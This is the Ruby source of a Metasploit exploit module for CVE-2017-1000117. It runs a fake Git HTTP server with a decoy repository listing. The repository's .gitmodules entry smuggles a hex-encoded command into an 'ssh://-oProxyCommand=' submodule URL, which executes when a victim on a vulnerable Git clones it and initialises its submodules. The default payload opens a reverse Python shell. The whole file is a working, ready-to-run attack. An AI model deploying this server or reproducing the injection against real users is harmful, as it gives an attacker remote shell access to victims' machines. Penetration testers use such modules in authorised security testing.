modules/exploits/multi/http/git_submodule_command_exec.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Git
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117',
'Description' => %q(
This module exploits CVE-2017-1000117, which affects Git
version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed
parameters from the username incorrectly. This can be used to inject
commands to the operating system when the submodule is cloned.
This module creates a fake git repository which contains a submodule
containing the vulnerability. The vulnerability is triggered when the
submodules are initialised.
),
'Author' => 'timwr',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-1000117'],
['URL', 'https://seclists.org/oss-sec/2017/q3/280' ]
],
'DisclosureDate' => '2017-08-10',
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'python'
}
}
}
]
],
'DefaultOptions' =>
{
'Payload' => 'cmd/unix/reverse_python'
},
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])
]
)
end
def setup
@repo_data = {
git: { files: {} }
}
setup_git
super
end
def setup_git
# URI must start with a /
unless git_uri && git_uri =~ /^\//
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
end
payload_cmd = payload.encoded + " &"
payload_cmd = Rex::Text.to_hex(payload_cmd, '%')
submodule_path = datastore['GIT_SUBMODULE']
if submodule_path.blank?
submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase
end
gitmodules = "[submodule \"#{submodule_path}\"]
path = #{submodule_path}
url = ssh://-oProxyCommand=#{payload_cmd}/
"
blob_obj = GitObject.build_blob_object(gitmodules)
@repo_data[:git][:files]["/objects/#{blob_obj.path}"] = blob_obj.compressed
tree_entries = [
{
mode: '100644',
file_name: '.gitmodules',
sha1: blob_obj.sha1
},
{
mode: '160000',
file_name: submodule_path,
sha1: blob_obj.sha1
}
]
tree_obj = GitObject.build_tree_object(tree_entries)
@repo_data[:git][:files]["/objects/#{tree_obj.path}"] = tree_obj.compressed
commit_obj = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)
@repo_data[:git][:files]["/objects/#{commit_obj.path}"] = commit_obj.compressed
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
@repo_data[:git][:files]['/info/refs'] = "#{commit_obj.sha1}\trefs/heads/master\n"
end
def exploit
super
end
def primer
# add the git and mercurial URIs as necessary
hardcoded_uripath(git_uri)
print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
end
# handles routing any request to the mock git, mercurial or simple HTML as necessary
def on_request_uri(cli, req)
# if the URI is one of our repositories and the user-agent is that of git/mercurial
# send back the appropriate data, otherwise just show the HTML version
user_agent = req.headers['User-Agent']
if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
do_git(cli, req)
return
end
do_html(cli, req)
end
# simulates a Git HTTP server
def do_git(cli, req)
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
if @repo_data[:git][:files].key?(req_file)
vprint_status("Sending Git #{req_file}")
send_response(cli, @repo_data[:git][:files][req_file])
else
vprint_status("Git #{req_file} doesn't exist")
send_not_found(cli)
end
end
# simulates an HTTP server with simple HTML content that lists the fake
# repositories available for cloning
def do_html(cli, _req)
resp = create_response
resp.body = <<HTML
<html>
<head><title>Public Repositories</title></head>
<body>
<p>Here are our public repositories:</p>
<ul>
HTML
this_git_uri = URI.parse(get_uri).merge(git_uri)
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
resp.body << <<HTML
</ul>
</body>
</html>
HTML
cli.send_response(resp)
end
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
def git_uri
return @git_uri if @git_uri
if datastore['GIT_URI'].blank?
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
else
@git_uri = datastore['GIT_URI']
end
end
end